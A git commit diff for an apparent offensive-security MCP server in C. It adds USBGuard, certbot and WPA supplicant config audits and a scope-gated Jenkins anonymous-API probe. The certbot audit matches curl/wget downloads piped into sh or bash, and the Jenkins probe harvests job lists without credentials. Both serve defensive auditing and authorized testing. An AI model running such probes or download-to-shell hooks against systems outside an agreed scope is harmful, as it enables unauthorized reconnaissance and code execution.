apex-twin 1.65.0: USBGuard, certbot and WPA audits, Jenkins API probe
Blue: - usbguard_audit: allow rules without with-interface, implicit and present device policy allow, world-writable files. - certbot_audit: renewal configs: manual authenticator, a renew/pre/post hook piping a download into a shell, world-writable files. - wpa_supplicant_audit: key_mgmt=NONE, WEP keys, a PSK file readable beyond its owner. Red: - jenkins_api_probe: /api/json and /whoAmI/api/json without credentials; a 2xx with jobs is an anonymous read API and is saved as evidence. Two bugs the fixture caught: a bare 'allow' line (no trailing space) was not matched, and the policy values were emitted without quotes, producing invalid JSON. Tests with USBGuard/certbot/WPA trees and two Jenkins fixtures (open and 403). 1242 checks, ASan suite green, analyze clean, release-check green including distcheck 1.65.0.
This commit is contained in:
1 parent
5775248153
commit
8a81fb1e4e
9 files changed
+666
-15
No files matched your search
+17
-1
@@ -8,7 +8,23 @@ fields, and state from an older version is read by a newer one.
|
||||
There are no git tags. The hash next to a version is the commit that introduced
|
||||
it; the current entry is the commit that adds this section.
|
||||
|
||||
## 1.64.0 — 2026-11-23 — this change
|
||||
## 1.65.0 — 2026-11-23 — this change
|
||||
|
||||
- **USBGuard** (`usbguard_audit`): rules and daemon config: an `allow` rule
|
||||
without `with-interface`, `ImplicitPolicyTarget=allow`,
|
||||
`PresentDevicePolicy=allow` and world-writable files.
|
||||
- **certbot** (`certbot_audit`): renewal configs: the `manual` authenticator,
|
||||
a renew/pre/post hook that pipes a download into a shell and
|
||||
world-writable files.
|
||||
- **WPA supplicant** (`wpa_supplicant_audit`): `key_mgmt=NONE`, WEP keys and
|
||||
a PSK file readable beyond its owner.
|
||||
- **Jenkins API** (`jenkins_api_probe`): `/api/json` and `/whoAmI/api/json`
|
||||
without credentials; a 2xx with jobs is an anonymous read API, saved as
|
||||
evidence.
|
||||
- Tests with USBGuard/certbot/WPA trees and two Jenkins fixtures (open and
|
||||
403). 1242 checks. Coverage 84.4%.
|
||||
|
||||
## 1.64.0 — 2026-11-23 — 5775248
|
||||
|
||||
- **resolved** (`resolved_audit`): `resolved.conf`: public resolvers,
|
||||
`DNSSEC=no`/`allow-downgrade`, `DNSOverTLS=no`, `LLMNR=yes`,
|
||||
|
||||
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
|
||||
testing behind a scope gate that refuses everything until a rules-of-engagement
|
||||
file says otherwise.
|
||||
|
||||
**294 tools · 1230 end-to-end checks · 340 fuzz cases · 84.3% line coverage · ~1000 KiB**
|
||||
**298 tools · 1242 end-to-end checks · 340 fuzz cases · 84.4% line coverage · ~1008 KiB**
|
||||
|
||||
```
|
||||
$ ./apex-twin --check
|
||||
{"version":"1.64.0","tools":294,...,"scope":{"loaded":true,...}}
|
||||
{"version":"1.65.0","tools":298,...,"scope":{"loaded":true,...}}
|
||||
```
|
||||
|
||||
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
|
||||
@@ -149,7 +149,7 @@ closes a request whose head or body does not arrive within
|
||||
|
||||
---
|
||||
|
||||
## Tools (294)
|
||||
## Tools (298)
|
||||
|
||||
### Scope and bookkeeping
|
||||
|
||||
@@ -223,6 +223,7 @@ uploads and secret-file reads. It does not execute anything.
|
||||
| `amqp_probe` | AMQP 0-9-1 Connection.Start: product, version, mechanisms, no login |
|
||||
| `tls_chain_probe` | Counts presented certs; a lone non-self-signed leaf means a missing intermediate |
|
||||
| `smtp_auth_probe` | EHLO AUTH mechanisms; PLAIN/LOGIN without STARTTLS is a clear-text risk |
|
||||
| `jenkins_api_probe` | `/api/json` and `/whoAmI` without auth; job list as evidence |
|
||||
| `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure |
|
||||
| `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE |
|
||||
| `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof |
|
||||
@@ -491,6 +492,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
|
||||
| `resolved_audit` | resolved.conf: public DNS, DNSSEC/DoT off, LLMNR/mDNS on |
|
||||
| `udev_audit` | udev rules: MODE 0666, `RUN+=` downloads piped to a shell |
|
||||
| `issue_audit` | /etc/issue: `\r`/`\v` version disclosure |
|
||||
| `usbguard_audit` | allow without with-interface, implicit allow policy |
|
||||
| `certbot_audit` | renewal: manual authenticator, curl-pipe hook |
|
||||
| `wpa_supplicant_audit` | key_mgmt=NONE, WEP, readable PSK |
|
||||
|
||||
### ESP32
|
||||
|
||||
@@ -807,6 +811,8 @@ The full threat model, trust boundaries and a hardening checklist are in
|
||||
| TLS chain | one handshake, no data |
|
||||
| resolved/udev/issue | config reads only; optional root prefix |
|
||||
| SMTP AUTH | banner + EHLO, no login |
|
||||
| usbguard/certbot/wpa | config reads only; optional root prefix |
|
||||
| Jenkins API | two unauthenticated GETs, job list as evidence |
|
||||
| USB audit | 200 devices, sysfs reads only |
|
||||
|
||||
---
|
||||
@@ -818,7 +824,7 @@ Flags are fixed: `-std=c99 -Wall -Wextra -Wpedantic -Werror` plus
|
||||
|
||||
```sh
|
||||
make # apex-twin
|
||||
make test # version check + gate audit + 1230 end-to-end checks
|
||||
make test # version check + gate audit + 1242 end-to-end checks
|
||||
make version-check # the five places that carry a version must agree
|
||||
make gate-audit # static: every target-taking tool calls the gate
|
||||
make asan # apex-twin-asan with ASan + UBSan
|
||||
@@ -949,7 +955,7 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery,
|
||||
minio_admin_probe, nats_monitoring_probe,
|
||||
influxdb_probe, clickhouse_probe, kibana_api_probe,
|
||||
logstash_api_probe, amqp_probe, tls_chain_probe,
|
||||
smtp_auth_probe
|
||||
smtp_auth_probe, jenkins_api_probe
|
||||
src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit,
|
||||
detect_rules, integrity_baseline, mitre_map,
|
||||
process_snapshot, persistence_audit, net_baseline,
|
||||
@@ -992,7 +998,7 @@ examples/ scope.json
|
||||
|
||||
## Status
|
||||
|
||||
1.64.0. Built and run: 294 tools, 1230 checks, 340 fuzz cases and 84.3% line
|
||||
1.65.0. Built and run: 298 tools, 1242 checks, 340 fuzz cases and 84.4% line
|
||||
coverage. The loop closes: a probe captures the exchange as a pair, a finding
|
||||
points at it, `finding_update` gives it a state, an asset records the host it
|
||||
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
|
||||
|
||||
+3
-1
@@ -9,7 +9,7 @@ problem.
|
||||
|
||||
The supported line is the one printed by `apex-twin --version` for the tree you
|
||||
built; this document ships with that same tree. At the time of writing the line
|
||||
is **1.64.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
|
||||
is **1.65.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
|
||||
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
|
||||
and traffic only gain fields, so state stays readable; older builds are still
|
||||
rebuilt rather than patched in place.
|
||||
@@ -66,6 +66,8 @@ only narrow what the proxy does (the scope gate still runs first).
|
||||
- **Firmware writing needs an explicit confirmation.** `esp_flash` refuses
|
||||
without `confirm=true`, validates an absolute image path and audits the
|
||||
attempt; it exists to provision the operator's own board.
|
||||
- **USBGuard/certbot/WPA audits read local files.** The Jenkins API probe
|
||||
sends two unauthenticated GETs and saves the job list.
|
||||
- **resolved/udev/issue audits read local files.** The SMTP AUTH probe reads
|
||||
the banner and EHLO features; no login is attempted.
|
||||
- **OpenSSL/curl/wget configuration audits read local files.** The TLS
|
||||
|
||||
+4
-3
@@ -1,5 +1,5 @@
|
||||
.\" apex-twin.1 - manual page for APEX TWIN
|
||||
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.64.0" "User Commands"
|
||||
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.65.0" "User Commands"
|
||||
.SH NAME
|
||||
apex-twin \- scope\-gated offensive\-security MCP server
|
||||
.SH SYNOPSIS
|
||||
@@ -46,7 +46,7 @@ sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk,
|
||||
ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe,
|
||||
dns_ns_consistency, dns_dangling_cname, http_redirect_audit,
|
||||
websocket_origin_check, dns_fcrdns_check, dns_soa_mname_check, http_redirect_audit,
|
||||
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe),
|
||||
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe),
|
||||
defensive
|
||||
audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules,
|
||||
integrity_baseline, mitre_map, process_snapshot, persistence_audit,
|
||||
@@ -79,7 +79,8 @@ fluentd_audit, telegraf_audit, graylog_audit, netdata_audit, sshd_config_audit,
|
||||
hosts_access_audit, profile_audit, atd_audit, securetty_audit,
|
||||
tmpfiles_audit, compose_audit, k8s_manifest_audit, dockerfile_audit,
|
||||
openssl_cnf_audit, curlrc_audit, wgetrc_audit, resolved_audit,
|
||||
udev_audit, issue_audit)
|
||||
udev_audit, issue_audit, usbguard_audit, certbot_audit,
|
||||
wpa_supplicant_audit)
|
||||
and ESP32 board tools (esp_info, esp_monitor,
|
||||
esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan,
|
||||
esp_app_info, esp_image_verify).
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@
|
||||
|
||||
#include "mcp.h"
|
||||
|
||||
#define APEX_VERSION "1.64.0"
|
||||
#define APEX_VERSION "1.65.0"
|
||||
#define APEX_MAX_OUT (1u << 20)
|
||||
#define APEX_PATH_MAX 512
|
||||
#define APEX_PATH_FULL 1024
|
||||
|
||||
@@ -19482,6 +19482,315 @@ static void t_issue_audit(mcp_conn *c, const mcp_json *args, void *user)
|
||||
mcp_buf_free(&findings);
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------- usbguard_audit */
|
||||
|
||||
static void usbguard_scan_rules(mcp_buf *findings, int *first, int *count,
|
||||
const char *path, int *files,
|
||||
int *allow_any)
|
||||
{
|
||||
static char text[65536];
|
||||
struct stat st;
|
||||
char *copy;
|
||||
char *save = NULL;
|
||||
char *line;
|
||||
|
||||
if (read_text(path, text, sizeof(text)) <= 0)
|
||||
return;
|
||||
(*files)++;
|
||||
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
|
||||
add_finding(findings, first, "world-writable", "high",
|
||||
"%s is writable by anyone", path);
|
||||
(*count)++;
|
||||
}
|
||||
copy = strdup(text);
|
||||
if (copy == NULL)
|
||||
return;
|
||||
line = strtok_r(copy, "\n", &save);
|
||||
while (line != NULL) {
|
||||
char *s = line;
|
||||
|
||||
while (*s == ' ' || *s == '\t')
|
||||
s++;
|
||||
if (*s != '#' && strncmp(s, "allow", 5) == 0 &&
|
||||
(s[5] == ' ' || s[5] == '\t' || s[5] == '\0') &&
|
||||
strstr(s, "with-interface") == NULL) {
|
||||
add_finding(findings, first, "allow-any-interface",
|
||||
"high",
|
||||
"%s allows a device on every interface", path);
|
||||
(*count)++;
|
||||
(*allow_any)++;
|
||||
}
|
||||
line = strtok_r(NULL, "\n", &save);
|
||||
}
|
||||
free(copy);
|
||||
}
|
||||
|
||||
static void t_usbguard_audit(mcp_conn *c, const mcp_json *args, void *user)
|
||||
{
|
||||
const char *root = mcp_arg_string(args, "root");
|
||||
char path[1024];
|
||||
static char text[65536];
|
||||
char value[64];
|
||||
struct stat st;
|
||||
mcp_buf b;
|
||||
mcp_buf findings;
|
||||
int first = 1;
|
||||
int count = 0;
|
||||
int files = 0;
|
||||
int allow_any = 0;
|
||||
int implicit_allow = 0;
|
||||
int present_allow = 0;
|
||||
|
||||
(void)user;
|
||||
if (root == NULL)
|
||||
root = "";
|
||||
if (strlen(root) > 400) {
|
||||
mcp_reply_error(c, "root path too long");
|
||||
return;
|
||||
}
|
||||
mcp_buf_init(&findings);
|
||||
snprintf(path, sizeof(path), "%s/etc/usbguard/rules.conf", root);
|
||||
usbguard_scan_rules(&findings, &first, &count, path, &files,
|
||||
&allow_any);
|
||||
snprintf(path, sizeof(path), "%s/etc/usbguard/usbguard-daemon.conf",
|
||||
root);
|
||||
if (read_text(path, text, sizeof(text)) > 0) {
|
||||
files++;
|
||||
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
|
||||
add_finding(&findings, &first, "world-writable", "high",
|
||||
"%s is writable by anyone", path);
|
||||
count++;
|
||||
}
|
||||
if (conf_value(text, "ImplicitPolicyTarget", value,
|
||||
sizeof(value)) &&
|
||||
strcasecmp(value, "allow") == 0)
|
||||
implicit_allow = 1;
|
||||
if (conf_value(text, "PresentDevicePolicy", value,
|
||||
sizeof(value)) &&
|
||||
strcasecmp(value, "allow") == 0)
|
||||
present_allow = 1;
|
||||
}
|
||||
if (files == 0) {
|
||||
mcp_buf_free(&findings);
|
||||
mcp_reply_error(c, "cannot read a USBGuard configuration");
|
||||
return;
|
||||
}
|
||||
if (implicit_allow) {
|
||||
add_finding(&findings, &first, "implicit-allow", "high",
|
||||
"devices without a rule are allowed");
|
||||
count++;
|
||||
}
|
||||
if (present_allow) {
|
||||
add_finding(&findings, &first, "present-allow", "medium",
|
||||
"devices already present are allowed");
|
||||
count++;
|
||||
}
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"root\":");
|
||||
apex_json_str(&b, root);
|
||||
mcp_buf_printf(&b, ",\"files\":%d,\"allow_any_interface\":%d,"
|
||||
"\"implicit_policy\":\"%s\",\"present_policy\":\"%s\","
|
||||
"\"findings_count\":%d,\"findings\":[",
|
||||
files, allow_any,
|
||||
implicit_allow ? "allow" : "block",
|
||||
present_allow ? "allow" : "block", count);
|
||||
if (findings.p != NULL)
|
||||
mcp_buf_add(&b, findings.p, findings.len);
|
||||
mcp_buf_puts(&b, "]}");
|
||||
mcp_reply_json(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
mcp_buf_free(&findings);
|
||||
}
|
||||
|
||||
/* --------------------------------------------------------------- certbot_audit */
|
||||
|
||||
static void certbot_scan_file(mcp_buf *findings, int *first, int *count,
|
||||
const char *path, int *files, int *manual,
|
||||
int *shell_hook)
|
||||
{
|
||||
static char text[65536];
|
||||
struct stat st;
|
||||
char value[512];
|
||||
|
||||
if (read_text(path, text, sizeof(text)) <= 0)
|
||||
return;
|
||||
(*files)++;
|
||||
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
|
||||
add_finding(findings, first, "world-writable", "high",
|
||||
"%s is writable by anyone", path);
|
||||
(*count)++;
|
||||
}
|
||||
if (conf_value(text, "authenticator", value, sizeof(value)) &&
|
||||
strcasecmp(value, "manual") == 0) {
|
||||
add_finding(findings, first, "manual-auth", "medium",
|
||||
"%s renews with the manual authenticator", path);
|
||||
(*count)++;
|
||||
(*manual)++;
|
||||
}
|
||||
if ((conf_value(text, "renew_hook", value, sizeof(value)) ||
|
||||
conf_value(text, "pre_hook", value, sizeof(value)) ||
|
||||
conf_value(text, "post_hook", value, sizeof(value))) &&
|
||||
(strstr(value, "curl") != NULL || strstr(value, "wget") != NULL) &&
|
||||
(strstr(value, "| sh") != NULL || strstr(value, "|sh") != NULL ||
|
||||
strstr(value, "| bash") != NULL || strstr(value, "|bash") != NULL)) {
|
||||
add_finding(findings, first, "shell-hook", "high",
|
||||
"%s pipes a download into a shell", path);
|
||||
(*count)++;
|
||||
(*shell_hook)++;
|
||||
}
|
||||
}
|
||||
|
||||
static void t_certbot_audit(mcp_conn *c, const mcp_json *args, void *user)
|
||||
{
|
||||
const char *root = mcp_arg_string(args, "root");
|
||||
char dirpath[1024];
|
||||
mcp_buf b;
|
||||
mcp_buf findings;
|
||||
int first = 1;
|
||||
int count = 0;
|
||||
int files = 0;
|
||||
int manual = 0;
|
||||
int shell_hook = 0;
|
||||
DIR *d;
|
||||
struct dirent *ent;
|
||||
|
||||
(void)user;
|
||||
if (root == NULL)
|
||||
root = "";
|
||||
if (strlen(root) > 400) {
|
||||
mcp_reply_error(c, "root path too long");
|
||||
return;
|
||||
}
|
||||
snprintf(dirpath, sizeof(dirpath), "%s/etc/letsencrypt/renewal", root);
|
||||
d = opendir(dirpath);
|
||||
if (d == NULL) {
|
||||
mcp_reply_error(c, "cannot read the certbot renewal directory");
|
||||
return;
|
||||
}
|
||||
mcp_buf_init(&findings);
|
||||
while ((ent = readdir(d)) != NULL) {
|
||||
{
|
||||
char full[1200];
|
||||
size_t nl = strlen(ent->d_name);
|
||||
|
||||
if (ent->d_name[0] == '.')
|
||||
continue;
|
||||
if (nl < 6 || strcmp(ent->d_name + nl - 5, ".conf") != 0)
|
||||
continue;
|
||||
snprintf(full, sizeof(full), "%.900s/%.200s", dirpath,
|
||||
ent->d_name);
|
||||
certbot_scan_file(&findings, &first, &count, full,
|
||||
&files, &manual, &shell_hook);
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
if (files == 0) {
|
||||
mcp_buf_free(&findings);
|
||||
mcp_reply_error(c, "no certbot renewal configuration found");
|
||||
return;
|
||||
}
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"root\":");
|
||||
apex_json_str(&b, root);
|
||||
mcp_buf_printf(&b, ",\"files\":%d,\"manual\":%d,\"shell_hooks\":%d,"
|
||||
"\"findings_count\":%d,\"findings\":[",
|
||||
files, manual, shell_hook, count);
|
||||
if (findings.p != NULL)
|
||||
mcp_buf_add(&b, findings.p, findings.len);
|
||||
mcp_buf_puts(&b, "]}");
|
||||
mcp_reply_json(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
mcp_buf_free(&findings);
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------- wpa_supplicant_audit */
|
||||
|
||||
static void t_wpa_supplicant_audit(mcp_conn *c, const mcp_json *args,
|
||||
void *user)
|
||||
{
|
||||
static const char *files[] = { "/etc/wpa_supplicant/wpa_supplicant.conf",
|
||||
"/etc/wpa_supplicant.conf", NULL };
|
||||
const char *root = mcp_arg_string(args, "root");
|
||||
char path[1024];
|
||||
static char text[65536];
|
||||
struct stat st;
|
||||
mcp_buf b;
|
||||
mcp_buf findings;
|
||||
int first = 1;
|
||||
int count = 0;
|
||||
int files_read = 0;
|
||||
int open_network = 0;
|
||||
int wep = 0;
|
||||
int readable_psk = 0;
|
||||
int have_psk = 0;
|
||||
int i;
|
||||
|
||||
(void)user;
|
||||
if (root == NULL)
|
||||
root = "";
|
||||
if (strlen(root) > 400) {
|
||||
mcp_reply_error(c, "root path too long");
|
||||
return;
|
||||
}
|
||||
mcp_buf_init(&findings);
|
||||
for (i = 0; files[i] != NULL; i++) {
|
||||
snprintf(path, sizeof(path), "%.400s%s", root, files[i]);
|
||||
if (read_text(path, text, sizeof(text)) <= 0)
|
||||
continue;
|
||||
files_read++;
|
||||
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
|
||||
add_finding(&findings, &first, "world-writable", "high",
|
||||
"%s is writable by anyone", path);
|
||||
count++;
|
||||
}
|
||||
if (text_has_line(text, "key_mgmt", "NONE"))
|
||||
open_network = 1;
|
||||
if (strstr(text, "wep_key") != NULL)
|
||||
wep = 1;
|
||||
if (strstr(text, "psk=") != NULL)
|
||||
have_psk = 1;
|
||||
if (have_psk && stat(path, &st) == 0 &&
|
||||
(st.st_mode & 0044) != 0)
|
||||
readable_psk = 1;
|
||||
break;
|
||||
}
|
||||
if (files_read == 0) {
|
||||
mcp_buf_free(&findings);
|
||||
mcp_reply_error(c, "cannot read a wpa_supplicant configuration");
|
||||
return;
|
||||
}
|
||||
if (open_network) {
|
||||
add_finding(&findings, &first, "open-network", "high",
|
||||
"a network is configured without authentication");
|
||||
count++;
|
||||
}
|
||||
if (wep) {
|
||||
add_finding(&findings, &first, "wep", "high",
|
||||
"a network uses WEP");
|
||||
count++;
|
||||
}
|
||||
if (readable_psk) {
|
||||
add_finding(&findings, &first, "readable-psk", "high",
|
||||
"the file holds a PSK and is readable beyond its owner");
|
||||
count++;
|
||||
}
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"root\":");
|
||||
apex_json_str(&b, root);
|
||||
mcp_buf_printf(&b, ",\"files\":%d,\"open_network\":%s,\"wep\":%s,"
|
||||
"\"readable_psk\":%s,\"findings_count\":%d,"
|
||||
"\"findings\":[",
|
||||
files_read, open_network ? "true" : "false",
|
||||
wep ? "true" : "false",
|
||||
readable_psk ? "true" : "false", count);
|
||||
if (findings.p != NULL)
|
||||
mcp_buf_add(&b, findings.p, findings.len);
|
||||
mcp_buf_puts(&b, "]}");
|
||||
mcp_reply_json(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
mcp_buf_free(&findings);
|
||||
}
|
||||
|
||||
const mcp_tool TOOLS_BLUE[] = {
|
||||
{ "hardening_audit",
|
||||
"Read-only posture audit of the local host: sshd_config (root login, "
|
||||
@@ -20599,6 +20908,26 @@ const mcp_tool TOOLS_BLUE[] = {
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
|
||||
t_issue_audit },
|
||||
{ "usbguard_audit",
|
||||
"Parse USBGuard rules and daemon config (root prefix): allow rules "
|
||||
"without with-interface, ImplicitPolicyTarget=allow, "
|
||||
"PresentDevicePolicy=allow and world-writable files. Read-only.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
|
||||
t_usbguard_audit },
|
||||
{ "certbot_audit",
|
||||
"Parse certbot renewal configs (root prefix): the manual "
|
||||
"authenticator, a renew/pre/post hook piping a download into a shell "
|
||||
"and world-writable files. Read-only.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
|
||||
t_certbot_audit },
|
||||
{ "wpa_supplicant_audit",
|
||||
"Parse wpa_supplicant.conf (root prefix): key_mgmt=NONE, WEP keys and a "
|
||||
"PSK file readable beyond its owner. Read-only.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
|
||||
t_wpa_supplicant_audit },
|
||||
};
|
||||
|
||||
const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]);
|
||||
+117
@@ -7820,6 +7820,113 @@ static void t_amqp_probe(mcp_conn *c, const mcp_json *args, void *user)
|
||||
mcp_buf_free(&b);
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------- jenkins_api_probe */
|
||||
|
||||
static void t_jenkins_api_probe(mcp_conn *c, const mcp_json *args,
|
||||
void *user)
|
||||
{
|
||||
static const char *paths[] = { "/api/json", "/whoAmI/api/json", NULL };
|
||||
const char *target = mcp_arg_string(args, "target");
|
||||
int port = mcp_arg_int(args, "port", 8080);
|
||||
int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port));
|
||||
char who[128];
|
||||
mcp_buf b;
|
||||
int first = 1;
|
||||
int tested = 0;
|
||||
int open_count = 0;
|
||||
int api_open = 0;
|
||||
char *evidence = NULL;
|
||||
int i;
|
||||
|
||||
(void)user;
|
||||
if (target == NULL || *target == '\0') {
|
||||
mcp_reply_error(c, "target is required");
|
||||
return;
|
||||
}
|
||||
if (port <= 0 || port > 65535) {
|
||||
mcp_reply_error(c, "port out of range");
|
||||
return;
|
||||
}
|
||||
if (!gated(c, "jenkins_api_probe", target, port))
|
||||
return;
|
||||
who[0] = '\0';
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"target\":");
|
||||
apex_json_str(&b, target);
|
||||
mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"endpoints\":[", port,
|
||||
tls ? "true" : "false");
|
||||
for (i = 0; paths[i] != NULL; i++) {
|
||||
char status[256];
|
||||
char *resp = NULL;
|
||||
size_t len = 0;
|
||||
int code;
|
||||
int open;
|
||||
int whoami = strncmp(paths[i], "/whoAmI", 7) == 0;
|
||||
|
||||
status[0] = '\0';
|
||||
if (apex_http_once(target, port, tls, "GET", paths[i], NULL, NULL,
|
||||
8000, &resp, &len, status,
|
||||
sizeof(status)) != 0)
|
||||
continue;
|
||||
tested++;
|
||||
code = apex_status_code(status);
|
||||
open = code >= 200 && code < 300;
|
||||
if (open)
|
||||
open_count++;
|
||||
if (open && !whoami && resp != NULL &&
|
||||
find_bytes(resp, len, "jobs")) {
|
||||
api_open = 1;
|
||||
if (evidence == NULL)
|
||||
evidence = apex_evidence_save("jenkins-api", resp,
|
||||
len);
|
||||
}
|
||||
if (open && whoami && resp != NULL) {
|
||||
const char *p = strstr(resp, "\"name\"");
|
||||
|
||||
if (p != NULL) {
|
||||
p = strchr(p + 6, '"');
|
||||
if (p != NULL) {
|
||||
size_t k = 0;
|
||||
|
||||
p++;
|
||||
while (p[k] != '\0' && p[k] != '"' &&
|
||||
k + 1 < sizeof(who)) {
|
||||
who[k] = p[k];
|
||||
k++;
|
||||
}
|
||||
who[k] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!first)
|
||||
mcp_buf_puts(&b, ",");
|
||||
first = 0;
|
||||
mcp_buf_puts(&b, "{\"path\":");
|
||||
apex_json_str(&b, paths[i]);
|
||||
mcp_buf_printf(&b, ",\"status\":%d,\"bytes\":%lu,\"open\":%s}",
|
||||
code, (unsigned long)len,
|
||||
open ? "true" : "false");
|
||||
free(resp);
|
||||
}
|
||||
mcp_buf_printf(&b, "],\"tested\":%d,\"open_count\":%d,"
|
||||
"\"api_open\":%s,\"who\":", tested, open_count,
|
||||
api_open ? "true" : "false");
|
||||
apex_json_str(&b, who);
|
||||
mcp_buf_puts(&b, ",\"evidence\":");
|
||||
if (evidence != NULL)
|
||||
apex_json_str(&b, evidence);
|
||||
else
|
||||
mcp_buf_puts(&b, "null");
|
||||
mcp_buf_puts(&b, "}");
|
||||
apex_audit("jenkins_api_probe", target, port, !api_open,
|
||||
api_open
|
||||
? "the Jenkins API lists jobs without authentication"
|
||||
: "the Jenkins API requires authentication", "list");
|
||||
mcp_reply_json(c, b.p);
|
||||
free(evidence);
|
||||
mcp_buf_free(&b);
|
||||
}
|
||||
|
||||
const mcp_tool TOOLS_RED[] = {
|
||||
{ "vuln_check",
|
||||
"Non-destructive verification of exposed artifacts on one web target: "
|
||||
@@ -8482,6 +8589,16 @@ const mcp_tool TOOLS_RED[] = {
|
||||
"\"port\":{\"type\":\"integer\",\"description\":\"default 5672\"}},"
|
||||
"\"required\":[\"target\"]}",
|
||||
t_amqp_probe },
|
||||
{ "jenkins_api_probe",
|
||||
"Query Jenkins without credentials: /api/json and /whoAmI/api/json. A "
|
||||
"2xx with jobs is an anonymous read API; the answer is saved as "
|
||||
"evidence. Gate: the target.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"target\":{\"type\":\"string\"},"
|
||||
"\"port\":{\"type\":\"integer\",\"description\":\"default 8080\"},"
|
||||
"\"tls\":{\"type\":\"boolean\"}},"
|
||||
"\"required\":[\"target\"]}",
|
||||
t_jenkins_api_probe },
|
||||
{ "dns_ns_consistency",
|
||||
"Fetch NS records for a domain from the parent resolver and from its own "
|
||||
"first nameserver (resolved to an address), then report names present on "
|
||||
|
||||
+1
-1
@@ -21,7 +21,7 @@ import re
|
||||
import sys
|
||||
|
||||
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
EXPECTED_TOOLS = 294
|
||||
EXPECTED_TOOLS = 298
|
||||
GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(")
|
||||
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
|
||||
# Tools whose "target" argument filters local records; they never touch it.
|
||||
|
||||
+182
-2
@@ -134,7 +134,7 @@ res, _ = run([
|
||||
], home=empty)
|
||||
check("tools/list answers", any(r.get("id") == 1 for r in res))
|
||||
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
|
||||
check("294 tools registered", len(tools) == 294, len(tools))
|
||||
check("298 tools registered", len(tools) == 298, len(tools))
|
||||
names = {t["name"] for t in tools}
|
||||
for need in ("portscan", "nmap", "http_request", "marauder_scan",
|
||||
"method_playbook", "finding_add", "finding_update", "scope_check",
|
||||
@@ -1560,7 +1560,7 @@ try:
|
||||
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
|
||||
init)
|
||||
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
|
||||
check("http tools/list", len(listing["result"]["tools"]) == 294)
|
||||
check("http tools/list", len(listing["result"]["tools"]) == 298)
|
||||
shown = post(call(3, "scope_show"))
|
||||
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
|
||||
# the id must be the request's id, not one found inside the arguments
|
||||
@@ -13383,6 +13383,185 @@ shutil.rmtree(is_root, ignore_errors=True)
|
||||
shutil.rmtree(is_good_root, ignore_errors=True)
|
||||
